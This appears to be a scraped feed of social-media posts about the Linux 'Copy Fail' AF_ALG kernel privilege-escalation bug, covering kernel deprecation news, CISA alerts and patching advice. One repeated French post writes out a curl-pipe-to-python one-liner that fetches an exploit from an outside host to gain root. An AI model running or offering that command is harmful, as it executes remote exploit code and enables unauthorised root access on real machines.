GrapheneOS is immune to the Copy Fail vulnerability due to the deep integration of SELinux in the Android Open Source Project (AOSP). AOSP only permits using specific types of sockets throughout the OS. It only permits the dumpstate process used to create bug report zips to access AF_ALG sockets.
April 30, 2026 at 2:34 AM
GrapheneOS is immune to the Copy Fail vulnerability due to the deep integration of SELinux in the Android Open Source Project (AOSP). AOSP only permits using specific types of sockets throughout the OS. It only permits the dumpstate process used to create bug report zips to access AF_ALG sockets.
Old Linux bug lets local user gain root & break out of container via AF_ALG CVE. #Linux #KernelSecurity #CVE2025-39964 #ContainerEscape #AF_ALG #PrivilegeEscalation thedailytechfeed.com/14-year-old-...
September 25, 2026 at 6:26 PM
Old Linux bug lets local user gain root & break out of container via AF_ALG CVE. #Linux #KernelSecurity #CVE2025-39964 #ContainerEscape #AF_ALG #PrivilegeEscalation thedailytechfeed.com/14-year-old-...
Cryptsetup 2.8.7 Released To Deal With Fallout Of Linux's Rushed AF_ALG Deprecation - https://www.phoronix.com/news/Cryptsetup-2.8.7-Released
Cryptsetup 2.8.7 Released To Deal With Fallout Of Linux's Rushed AF_ALG Deprecation
Linux's cryptsetup for configuring and managing encrypted storage devices is ready with a new version as the developers work to deal with the recent deprecation of the Linux AF_ALG interface...
www.phoronix.com
July 21, 2026 at 10:05 PM
Cryptsetup 2.8.7 Released To Deal With Fallout Of Linux's Rushed AF_ALG Deprecation - https://www.phoronix.com/news/Cryptsetup-2.8.7-Released
Here's where Android defines a neverallow for many types of sockets including AF_ALG for regular sandboxed apps:
android.googlesource.com/platform/sys...
Android has a versioned app sandbox which gets stricter for new API levels. The versioned domains inherit from that untrusted_app_all domain.
android.googlesource.com/platform/sys...
Android has a versioned app sandbox which gets stricter for new API levels. The versioned domains inherit from that untrusted_app_all domain.
private/app_neverallows.te - platform/system/sepolicy - Git at Google
android.googlesource.com
April 30, 2026 at 2:58 AM
Here's where Android defines a neverallow for many types of sockets including AF_ALG for regular sandboxed apps:
android.googlesource.com/platform/sys...
Android has a versioned app sandbox which gets stricter for new API levels. The versioned domains inherit from that untrusted_app_all domain.
android.googlesource.com/platform/sys...
Android has a versioned app sandbox which gets stricter for new API levels. The versioned domains inherit from that untrusted_app_all domain.
Linux AF_ALG Crypto Code Removing Zero-Copy Support Out Of Security Concerns - https://www.phoronix.com/news/Linux-AF-ALF-Zero-Copy-Security
Linux AF_ALG Crypto Code Removing Zero-Copy Support Out Of Security Concerns
Given all the recent Linux kernel security concerns and new bugs being discovered, the Linux cryptographic subsystem is proactively dropping zero-copy functionality from AF_ALG due to growing security concerns...
www.phoronix.com
May 18, 2026 at 12:12 PM
Linux AF_ALG Crypto Code Removing Zero-Copy Support Out Of Security Concerns - https://www.phoronix.com/news/Linux-AF-ALF-Zero-Copy-Security
Leute, kümmert euch um eure eure Linux-Distros & Geräte. xint.io/blog/copy-fa...
Copy Fail: 732 Bytes to Root on Every Major Linux Distribution. - Xint
Xint Code disclosed CVE-2026-31431, an authencesn scratch-write bug chaining AF_ALG + splice() into a 4-byte page cache write. A 732-byte PoC gets root on Ubuntu, Amazon Linux, RHEL, SUSE. | AI for Se...
xint.io
May 1, 2026 at 5:17 AM
Leute, kümmert euch um eure eure Linux-Distros & Geräte. xint.io/blog/copy-fa...
Learn why Linux Kernel developers want to deprecate AF_ALG features, and the security concerns driving the decision.
Full story here: ostechnix.com/linux-kernel...
#AF_ALG #LinuxCryptoSubsystem #Linuxkernel #Linuxsecurity #EricBiggers #LinuxkernelHardening #Opensource
Full story here: ostechnix.com/linux-kernel...
#AF_ALG #LinuxCryptoSubsystem #Linuxkernel #Linuxsecurity #EricBiggers #LinuxkernelHardening #Opensource
Linux Kernel Developers Move to Deprecate AF_ALG to Reduce Attack Surface - OSTechNix
Learn why Linux Kernel developers want to deprecate AF_ALG features, and the security concerns driving the decision.
ostechnix.com
June 2, 2026 at 2:03 PM
Learn why Linux Kernel developers want to deprecate AF_ALG features, and the security concerns driving the decision.
Full story here: ostechnix.com/linux-kernel...
#AF_ALG #LinuxCryptoSubsystem #Linuxkernel #Linuxsecurity #EricBiggers #LinuxkernelHardening #Opensource
Full story here: ostechnix.com/linux-kernel...
#AF_ALG #LinuxCryptoSubsystem #Linuxkernel #Linuxsecurity #EricBiggers #LinuxkernelHardening #Opensource
Copy Fail? Also looks like memory safety, but is actually complexity.
xint.io/blog/copy-fa...
I am going to link to this while rejecting changes to Go crypto for years.
Anyway, feeling pretty validated in my "ssh in as root, only gVisor or Firecracker are an actual security boundary" approach.
xint.io/blog/copy-fa...
I am going to link to this while rejecting changes to Go crypto for years.
Anyway, feeling pretty validated in my "ssh in as root, only gVisor or Firecracker are an actual security boundary" approach.
April 29, 2026 at 10:54 PM
Copy Fail? Also looks like memory safety, but is actually complexity.
xint.io/blog/copy-fa...
I am going to link to this while rejecting changes to Go crypto for years.
Anyway, feeling pretty validated in my "ssh in as root, only gVisor or Firecracker are an actual security boundary" approach.
xint.io/blog/copy-fa...
I am going to link to this while rejecting changes to Go crypto for years.
Anyway, feeling pretty validated in my "ssh in as root, only gVisor or Firecracker are an actual security boundary" approach.
New AF_ALG Restrictions With Linux 7.3 Due To The Security & Maintenance Nightmare - https://www.phoronix.com/news/Linux-7.3-AF-ALG-Restrictions
New AF_ALG Restrictions With Linux 7.3 Due To The Security & Maintenance Nightmare
The past few Linux kernel cycles have chipped away at AF_ALG functionality for that interface for user-space programs to access the kernel's internal cryptography API. Linux has been dropping AF_ALG features like zero-copy support and offloading. AF_ALG was quickly deprecated in Linux 7.2 while now for Linux 7.3 it's being further restricted...
www.phoronix.com
August 24, 2026 at 6:24 PM
New AF_ALG Restrictions With Linux 7.3 Due To The Security & Maintenance Nightmare - https://www.phoronix.com/news/Linux-7.3-AF-ALG-Restrictions
Linux 7.2 Proceeding To Deprecate AF_ALG Due To "Massive Attack Surface", Drops Offloading - https://www.phoronix.com/news/Linux-AF-ALG-Deprecation
Linux 7.2 Proceeding To Deprecate AF_ALG Due To "Massive Attack Surface", Drops Offloading
The Linux kernel's AF_ALG interface for user-space applications to directly access the Linux kernel's built-in cryptographic engine is proceeding with a quick deprecation cycle due to a "massive attack surface" with increased vulnerabilities coming to light due to AI/LLM-based tooling...
www.phoronix.com
June 1, 2026 at 10:58 AM
Linux 7.2 Proceeding To Deprecate AF_ALG Due To "Massive Attack Surface", Drops Offloading - https://www.phoronix.com/news/Linux-AF-ALG-Deprecation
AF_ALG "Nightmare" Being Further Limited In Linux 7.3 With New Sysctl Knob - https://www.phoronix.com/news/AF-ALG-Restrict-Sysctl-Linux
AF_ALG "Nightmare" Being Further Limited In Linux 7.3 With New Sysctl Knob
The Linux kernel's AF_ALG interface was deprecated in Linux 7.2. This interface for letting user-space programs interact directly with the Linux kernel crypto API has proven to be a "massive attack surface" due to a variety of security concerns. With its deprecation in Linux 7.2, some AF_ALG features are already removed and for Linux 7.3 this interface is being further restrained...
www.phoronix.com
July 7, 2026 at 10:28 AM
AF_ALG "Nightmare" Being Further Limited In Linux 7.3 With New Sysctl Knob - https://www.phoronix.com/news/AF-ALG-Restrict-Sysctl-Linux
AF_ALG Deprecation Approved For Linux 7.2, Useless & Insecure Crypto Driver Code Removed - https://www.phoronix.com/news/Linux-7.2-Crypto
AF_ALG Deprecation Approved For Linux 7.2, Useless & Insecure Crypto Driver Code Removed
The cryptographic subsystem updates have been merged for the ongoing Linux 7.2 kernel merge window...
www.phoronix.com
June 18, 2026 at 1:50 PM
AF_ALG Deprecation Approved For Linux 7.2, Useless & Insecure Crypto Driver Code Removed - https://www.phoronix.com/news/Linux-7.2-Crypto
🤖 CISA: 3 Linux kernel flaws actively exploited (1 critical), added to KEV. CVE-2025-39682 (kTLS, public exploits), CVE-2025-39964 (AF_ALG race), CVE-2026-53266 (ebtables OOB…
September 22, 2026 at 4:42 AM
🤖 CISA: 3 Linux kernel flaws actively exploited (1 critical), added to KEV. CVE-2025-39682 (kTLS, public exploits), CVE-2025-39964 (AF_ALG race), CVE-2026-53266 (ebtables OOB…
ça ça pique...
curl copy.fail/exp | python3 && su
Pour passer root sur n'importe quelle distro depuis 2017 ...
copy.fail
curl copy.fail/exp | python3 && su
Pour passer root sur n'importe quelle distro depuis 2017 ...
copy.fail
Copy Fail: 732 Bytes to Root on Every Major Linux Distribution. - Xint
Xint Code disclosed CVE-2026-31431, an authencesn scratch-write bug chaining AF_ALG + splice() into a 4-byte page cache write. A 732-byte PoC gets root on Ubuntu, Amazon Linux, RHEL, SUSE. | AI for Se...
copy.fail
April 30, 2026 at 2:39 PM
ça ça pique...
curl copy.fail/exp | python3 && su
Pour passer root sur n'importe quelle distro depuis 2017 ...
copy.fail
curl copy.fail/exp | python3 && su
Pour passer root sur n'importe quelle distro depuis 2017 ...
copy.fail
"GrapheneOS is immune to the Copy Fail vulnerability due to the deep integration of SELinux in the Android Open Source Project (AOSP). AOSP only permits using specific types of sockets throughout the OS. It only permits the dumpstate process used to create bug report zips to access AF_ALG sockets."
April 30, 2026 at 11:10 PM
"GrapheneOS is immune to the Copy Fail vulnerability due to the deep integration of SELinux in the Android Open Source Project (AOSP). AOSP only permits using specific types of sockets throughout the OS. It only permits the dumpstate process used to create bug report zips to access AF_ALG sockets."
Three exploited Linux kernel flaws, three different exposure paths. Map kTLS, ebtables SNAT and AF_ALG first; patch, verify the running kernel, then investigate.
https://acetrum.com?utm_source=bluesky&utm_medium=social
https://acetrum.com?utm_source=bluesky&utm_medium=social
September 22, 2026 at 5:16 AM
Three exploited Linux kernel flaws, three different exposure paths. Map kTLS, ebtables SNAT and AF_ALG first; patch, verify the running kernel, then investigate.
https://acetrum.com?utm_source=bluesky&utm_medium=social
https://acetrum.com?utm_source=bluesky&utm_medium=social
Linux on the desktop they said.
It'll be better than that insecure windows os, they said...
1000s of eyes in Open source exposes vulns early, they said...
copy.fail
It'll be better than that insecure windows os, they said...
1000s of eyes in Open source exposes vulns early, they said...
copy.fail
May 3, 2026 at 6:08 PM
Linux on the desktop they said.
It'll be better than that insecure windows os, they said...
1000s of eyes in Open source exposes vulns early, they said...
copy.fail
It'll be better than that insecure windows os, they said...
1000s of eyes in Open source exposes vulns early, they said...
copy.fail
🛑 CVE-2025-39964
Linux Kernel
CVSS 7.8 / EPSS 0% / KEV: No
TL;DR: In the Linux kernel, the following vulnerability has been resolved: crypto: af_alg - Disallow …
https://cvesentinel.com/report/CVE-2025-39964?utm_source=bluesky&utm_medium=social&utm_campaign=cvesentinel
#infosec #CVE #vulnerability
Linux Kernel
CVSS 7.8 / EPSS 0% / KEV: No
TL;DR: In the Linux kernel, the following vulnerability has been resolved: crypto: af_alg - Disallow …
https://cvesentinel.com/report/CVE-2025-39964?utm_source=bluesky&utm_medium=social&utm_campaign=cvesentinel
#infosec #CVE #vulnerability
September 18, 2026 at 2:28 PM
🛑 CVE-2025-39964
Linux Kernel
CVSS 7.8 / EPSS 0% / KEV: No
TL;DR: In the Linux kernel, the following vulnerability has been resolved: crypto: af_alg - Disallow …
https://cvesentinel.com/report/CVE-2025-39964?utm_source=bluesky&utm_medium=social&utm_campaign=cvesentinel
#infosec #CVE #vulnerability
Linux Kernel
CVSS 7.8 / EPSS 0% / KEV: No
TL;DR: In the Linux kernel, the following vulnerability has been resolved: crypto: af_alg - Disallow …
https://cvesentinel.com/report/CVE-2025-39964?utm_source=bluesky&utm_medium=social&utm_campaign=cvesentinel
#infosec #CVE #vulnerability
CVE-2026-31431 (Copy Fail): a Linux kernel vulnerability. Docker Engine prior to v29.4.3 allowed containers to create AF_ALG sockets by default. That is the syscall surface the exploit uses. Fix: upgrade to Docker Engine v29.4.3+, or patch the host kernel.
June 2, 2026 at 1:05 PM
CVE-2026-31431 (Copy Fail): a Linux kernel vulnerability. Docker Engine prior to v29.4.3 allowed containers to create AF_ALG sockets by default. That is the syscall surface the exploit uses. Fix: upgrade to Docker Engine v29.4.3+, or patch the host kernel.
📰 CISA confirma exploração activa de três falhas do kernel Linux
A CISA acrescentou a 18 de setembro três vulnerabilidades do kernel Linux ao catálogo...
A CISA acrescentou a 18 de setembro três vulnerabilidades do kernel Linux ao catálogo...
CISA confirma exploração activa de três falhas do kernel Linux
A CISA acrescentou a 18 de setembro três vulnerabilidades do kernel Linux ao catálogo de falhas com exploração confirmada. Duas já têm correcção dos fornecedores; para a do AF_ALG a Red Hat diz não haver patch nem mitigação. O prazo de 21 de setembro...
tech.neural-rage.com
September 21, 2026 at 9:32 PM
📰 CISA confirma exploração activa de três falhas do kernel Linux
A CISA acrescentou a 18 de setembro três vulnerabilidades do kernel Linux ao catálogo...
A CISA acrescentou a 18 de setembro três vulnerabilidades do kernel Linux ao catálogo...
(CISA TS+SOC) The Cyber Mind TSUITE Brief: CVE-2025-39964 – Linux Kernel Race Condition Vulnerability
Analyze the mechanics of CVE-2025-39964 with our technical Linux TSUITE brief, covering AF_ALG race conditions, CrowdStrike CQL queries, and endpoint hardening....
https://thecybermind.co/dxag
Analyze the mechanics of CVE-2025-39964 with our technical Linux TSUITE brief, covering AF_ALG race conditions, CrowdStrike CQL queries, and endpoint hardening....
https://thecybermind.co/dxag
(CISA TS+SOC) The Cyber Mind TSUITE Brief: CVE-2025-39964 – Linux Kernel Race Condition Vulnerability
Analyze the mechanics of CVE-2025-39964 with our technical Linux TSUITE brief, covering AF_ALG race conditions, CrowdStrike CQL queries, and endpoint hardening.
thecybermind.co
September 21, 2026 at 12:03 PM
(CISA TS+SOC) The Cyber Mind TSUITE Brief: CVE-2025-39964 – Linux Kernel Race Condition Vulnerability
Analyze the mechanics of CVE-2025-39964 with our technical Linux TSUITE brief, covering AF_ALG race conditions, CrowdStrike CQL queries, and endpoint hardening....
https://thecybermind.co/dxag
Analyze the mechanics of CVE-2025-39964 with our technical Linux TSUITE brief, covering AF_ALG race conditions, CrowdStrike CQL queries, and endpoint hardening....
https://thecybermind.co/dxag
Copy.Fail Linux Vulnerability
This is the worst Linux vulnerability in years. TL;DR copy.fail is a Linux kernel local privilege escalation, not a browser or clipboard attack. Disclosed by Theori on 29 April 2026 with a working PoC. It abuses the kernel crypto API (AF_ALG sockets) plus splice() to…
This is the worst Linux vulnerability in years. TL;DR copy.fail is a Linux kernel local privilege escalation, not a browser or clipboard attack. Disclosed by Theori on 29 April 2026 with a working PoC. It abuses the kernel crypto API (AF_ALG sockets) plus splice() to…
Copy.Fail Linux Vulnerability
This is the worst Linux vulnerability in years. TL;DR copy.fail is a Linux kernel local privilege escalation, not a browser or clipboard attack. Disclosed by Theori on 29 April 2026 with a working PoC. It abuses the kernel crypto API (AF_ALG sockets) plus splice() to write four bytes at a time straight into the page cache of a file the attacker does not own.
www.schneier.com
May 12, 2026 at 11:07 AM
Copy.Fail Linux Vulnerability
This is the worst Linux vulnerability in years. TL;DR copy.fail is a Linux kernel local privilege escalation, not a browser or clipboard attack. Disclosed by Theori on 29 April 2026 with a working PoC. It abuses the kernel crypto API (AF_ALG sockets) plus splice() to…
This is the worst Linux vulnerability in years. TL;DR copy.fail is a Linux kernel local privilege escalation, not a browser or clipboard attack. Disclosed by Theori on 29 April 2026 with a working PoC. It abuses the kernel crypto API (AF_ALG sockets) plus splice() to…